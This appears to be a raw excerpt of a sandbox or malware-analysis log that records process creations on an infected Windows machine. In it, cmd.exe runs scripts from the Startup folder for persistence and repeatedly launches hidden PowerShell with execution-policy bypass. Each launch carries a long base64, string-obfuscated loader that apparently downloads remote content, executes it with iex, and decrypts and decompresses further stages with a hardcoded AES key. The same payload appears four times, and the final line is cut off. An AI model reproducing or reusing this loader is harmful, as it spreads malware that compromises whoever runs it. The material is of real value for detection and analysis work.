                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6ca135e6.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ce74a33.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c48efb24.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97fe2fc3.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command 